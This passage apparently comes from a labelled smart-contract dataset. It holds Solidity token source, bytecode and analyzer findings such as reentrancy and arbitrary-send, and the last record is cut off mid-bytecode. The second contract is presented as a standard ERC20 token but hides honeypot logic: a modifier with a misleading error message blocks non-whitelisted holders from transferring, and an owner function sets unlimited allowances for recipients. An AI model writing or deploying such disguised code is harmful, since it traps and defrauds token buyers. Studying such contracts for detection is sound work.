function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102be578063a9059cbb146102f2578063c3c8cd8014610312578063d543dbeb14610327578063dd62ed3e1461034757600080fd5b80636fc3eaec1461024c57806370a0823114610261578063715018a6146102815780638da5cb5b1461029657600080fd5b806323b872dd116100dc57806323b872dd146101bb578063293230b8146101db578063313ce567146101f05780635932ead11461020c5780636b9990531461022c57600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461016557806318160ddd1461019557600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b7565b61038d565b005b34801561014657600080fd5b5061014f61043a565b60405161015c91906119fb565b60405180910390f35b34801561017157600080fd5b5061018561018036600461188c565b61045a565b604051901515815260200161015c565b3480156101a157600080fd5b50683635c9adc5dea000005b60405190815260200161015c565b3480156101c757600080fd5b506101856101d636600461184c565b610471565b3480156101e757600080fd5b506101386104da565b3480156101fc57600080fd5b506040516009815260200161015c565b34801561021857600080fd5b5061013861022736600461197e565b61089d565b34801561023857600080fd5b506101386102473660046117dc565b6108e5565b34801561025857600080fd5b50610138610930565b34801561026d57600080fd5b506101ad61027c3660046117dc565b61095d565b34801561028d57600080fd5b5061013861097f565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102ca57600080fd5b5060408051808201909152600b81526a0a49286909a8aa6a69282960ab1b602082015261014f565b3480156102fe57600080fd5b5061018561030d36600461188c565b6109f3565b34801561031e57600080fd5b50610138610a00565b34801561033357600080fd5b506101386103423660046119b6565b610a36565b34801561035357600080fd5b506101ad610362366004611814565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103c05760405162461bcd60e51b81526004016103b790611a4e565b60405180910390fd5b60005b8151811015610436576001600a60008484815181106103f257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061042e81611b61565b9150506103c3565b5050565b6060604051806060016040528060268152602001611bf460269139905090565b6000610467338484610b09565b5060015b92915050565b600061047e848484610c2d565b6104d084336104cb85604051806060016040528060288152602001611bcc602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103f565b610b09565b5060019392505050565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016103b790611a4e565b600f54600160a01b900460ff161561055e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103b7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059b3082683635c9adc5dea00000610b09565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d457600080fd5b505afa1580156105e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c91906117f8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561065457600080fd5b505afa158015610668573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068c91906117f8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106d457600080fd5b505af11580156106e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070c91906117f8565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073c8161095d565b6000806107516000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107b457600080fd5b505af11580156107c8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107ed91906119ce565b5050600f8054673782dace9d90000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561086557600080fd5b505af1158015610879573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610436919061199a565b6000546001600160a01b031633146108c75760405162461bcd60e51b81526004016103b790611a4e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461090f5760405162461bcd60e51b81526004016103b790611a4e565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461095057600080fd5b4761095a81611079565b50565b6001600160a01b03811660009081526002602052604081205461046b906110fe565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016103b790611a4e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610467338484610c2d565b600c546001600160a01b0316336001600160a01b031614610a2057600080fd5b6000610a2b3061095d565b905061095a81611182565b6000546001600160a01b03163314610a605760405162461bcd60e51b81526004016103b790611a4e565b60008111610ab05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103b7565b610ace6064610ac8683635c9adc5dea0000084611327565b906113a6565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b7565b6001600160a01b038216610cf35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b7565b60008111610d555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b7565b6000546001600160a01b03848116911614801590610d8157506000546001600160a01b03838116911614155b15610fe257600f54600160b81b900460ff1615610e68576001600160a01b0383163014801590610dba57506001600160a01b0382163014155b8015610dd45750600e546001600160a01b03848116911614155b8015610dee5750600e546001600160a01b03838116911614155b15610e6857600e546001600160a01b0316336001600160a01b03161480610e285750600f546001600160a01b0316336001600160a01b0316145b610e685760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103b7565b601054811115610e7757600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb957506001600160a01b0382166000908152600a602052604090205460ff16155b610ec257600080fd5b600f546001600160a01b038481169116148015610eed5750600e546001600160a01b03838116911614155b8015610f1257506001600160a01b03821660009081526005602052604090205460ff16155b8015610f275750600f54600160b81b900460ff165b15610f75576001600160a01b0382166000908152600b60205260409020544211610f5057600080fd5b610f5b42600a611af3565b6001600160a01b0383166000908152600b60205260409020555b6000610f803061095d565b600f54909150600160a81b900460ff16158015610fab5750600f546001600160a01b03858116911614155b8015610fc05750600f54600160b01b900460ff165b15610fe057610fce81611182565b478015610fde57610fde47611079565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102457506001600160a01b03831660009081526005602052604090205460ff165b1561102d575060005b611039848484846113e8565b50505050565b600081848411156110635760405162461bcd60e51b81526004016103b791906119fb565b5060006110708486611b4a565b95945050505050565b600c546001600160a01b03166108fc6110938360026113a6565b6040518115909202916000818181858888f193505050501580156110bb573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d68360026113a6565b6040518115909202916000818181858888f19350505050158015610436573d6000803e3d6000fd5b60006006548211156111655760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b7565b600061116f611414565b905061117b83826113a6565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122c57600080fd5b505afa158015611240573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126491906117f8565b8160018151811061128557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ab9130911684610b09565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e4908590600090869030904290600401611a83565b600060405180830381600087803b1580156112fe57600080fd5b505af1158015611312573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113365750600061046b565b60006113428385611b2b565b90508261134f8583611b0b565b1461117b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b7565b600061117b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611437565b806113f5576113f5611465565b611400848484611488565b80611039576110396005600855600a600955565b600080600061142161157f565b909250905061143082826113a6565b9250505090565b600081836114585760405162461bcd60e51b81526004016103b791906119fb565b5060006110708486611b0b565b6008541580156114755750600954155b1561147c57565b60006008819055600955565b60008060008060008061149a876115c1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cc908761161e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fb9086611660565b6001600160a01b03891660009081526002602052604090205561151d816116bf565b6115278483611709565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156c91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159b82826113a6565b8210156115b857505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115de8a60085460095461172d565b92509250925060006115ee611414565b905060008060006116018e87878761177c565b919e509c509a509598509396509194505050505091939550919395565b600061117b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103f565b60008061166d8385611af3565b90508381101561117b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b7565b60006116c9611414565b905060006116d78383611327565b306000908152600260205260409020549091506116f49082611660565b30600090815260026020526040902055505050565b600654611716908361161e565b6006556007546117269082611660565b6007555050565b60008080806117416064610ac88989611327565b905060006117546064610ac88a89611327565b9050600061176c826117668b8661161e565b9061161e565b9992985090965090945050505050565b600080808061178b8886611327565b905060006117998887611327565b905060006117a78888611327565b905060006117b982611766868661161e565b939b939a50919850919650505050505050565b80356117d781611ba8565b919050565b6000602082840312156117ed578081fd5b813561117b81611ba8565b600060208284031215611809578081fd5b815161117b81611ba8565b60008060408385031215611826578081fd5b823561183181611ba8565b9150602083013561184181611ba8565b809150509250929050565b600080600060608486031215611860578081fd5b833561186b81611ba8565b9250602084013561187b81611ba8565b929592945050506040919091013590565b6000806040838503121561189e578182fd5b82356118a981611ba8565b946020939093013593505050565b600060208083850312156118c9578182fd5b823567ffffffffffffffff808211156118e0578384fd5b818501915085601f8301126118f3578384fd5b81358181111561190557611905611b92565b8060051b604051601f19603f8301168101818110858211171561192a5761192a611b92565b604052828152858101935084860182860187018a1015611948578788fd5b8795505b838610156119715761195d816117cc565b85526001959095019493860193860161194c565b5098975050505050505050565b60006020828403121561198f578081fd5b813561117b81611bbd565b6000602082840312156119ab578081fd5b815161117b81611bbd565b6000602082840312156119c7578081fd5b5035919050565b6000806000606084860312156119e2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2757858101830151858201604001528201611a0b565b81811115611a385783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad25784516001600160a01b031683529383019391830191600101611aad565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0657611b06611b7c565b500190565b600082611b2657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4557611b45611b7c565b500290565b600082821015611b5c57611b5c611b7c565b500390565b6000600019821415611b7557611b75611b7c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095a57600080fd5b801515811461095a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636552696368204d65737369616820496e75202d20742e6d652f726963686d657373696168696e75a2646970667358221220ad8a31346a83bb9125c23fda56bfe7bbf8cd3777a9b9d63115e5e680c632be2764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,204 |
0x8b9f7e5879de0201ebd71397194e7f1abf53a09d
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_CNYX(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffff